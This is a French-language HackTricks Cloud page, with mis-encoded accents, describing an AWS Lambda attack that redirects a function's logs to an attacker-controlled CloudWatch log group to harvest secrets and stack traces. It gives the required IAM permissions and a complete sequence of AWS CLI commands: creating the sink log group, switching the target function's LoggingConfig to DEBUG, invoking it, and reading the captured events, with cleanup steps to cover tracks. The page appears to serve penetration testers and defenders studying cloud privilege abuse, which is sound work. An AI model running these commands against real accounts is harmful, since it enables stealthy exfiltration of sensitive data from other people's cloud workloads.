AWS Lambda â Log Siphon via LoggingConfig.LogGroup Redirection
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Exploiter les contrĂŽles de logging avancĂ©s lambda:UpdateFunctionConfiguration pour rediriger les logs dâune fonction vers un CloudWatch Logs log group choisi par lâattaquant. Cela fonctionne sans modifier le code ni le rĂŽle dâexĂ©cution (la plupart des rĂŽles Lambda incluent dĂ©jĂ logs:CreateLogGroup/CreateLogStream/PutLogEvents via AWSLambdaBasicExecutionRole). Si la fonction affiche des secrets/request bodies ou plante avec des stack traces, vous pouvez les rĂ©cupĂ©rer depuis le nouveau log group.
Permissions requises
- lambda:UpdateFunctionConfiguration
- lambda:GetFunctionConfiguration
- lambda:InvokeFunction (ou vous appuyer sur des triggers existants)
- logs:CreateLogGroup (souvent non requis si le rĂŽle de la fonction lâa dĂ©jĂ )
- logs:FilterLogEvents (pour lire les événements)
Ătapes
- Créer un log group de destination
aws logs create-log-group --log-group-name "/aws/hacktricks/ht-log-sink" --region us-east-1 || true
- Rediriger les logs de la fonction cible
aws lambda update-function-configuration \
--function-name <TARGET_FN> \
--logging-config LogGroup=/aws/hacktricks/ht-log-sink,LogFormat=JSON,ApplicationLogLevel=DEBUG \
--region us-east-1
Attendez que LastUpdateStatus devienne Successful :
aws lambda get-function-configuration --function-name <TARGET_FN> \
--query LastUpdateStatus --output text
- Invoquer et lire depuis le sink
aws lambda invoke --function-name <TARGET_FN> /tmp/out.json --payload '{"ht":"log"}' --region us-east-1 >/dev/null
sleep 5
aws logs filter-log-events --log-group-name "/aws/hacktricks/ht-log-sink" --limit 50 --region us-east-1 --query 'events[].message' --output text
Impact
- Rediriger furtivement tous les logs dâapplication/systĂšme vers un log group que vous contrĂŽlez, contournant lâhypothĂšse que les logs nâatterrissent que dans
/aws/lambda/<fn>. - Exfiltrer des données sensibles affichées par la fonction ou remontées dans les erreurs.
Nettoyage
aws lambda update-function-configuration --function-name <TARGET_FN> \
--logging-config LogGroup=/aws/lambda/<TARGET_FN>,LogFormat=Text,ApplicationLogLevel=INFO \
--region us-east-1 || true
Remarques
- Les paramĂštres de journalisation font partie du
LoggingConfigde Lambda (LogGroup, LogFormat, ApplicationLogLevel, SystemLogLevel). - Par défaut, Lambda envoie les logs vers
/aws/lambda/<function>, mais vous pouvez pointer vers nâimporte quel LogGroup ; Lambda (ou le rĂŽle dâexĂ©cution) le crĂ©era si cela est autorisĂ©.
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

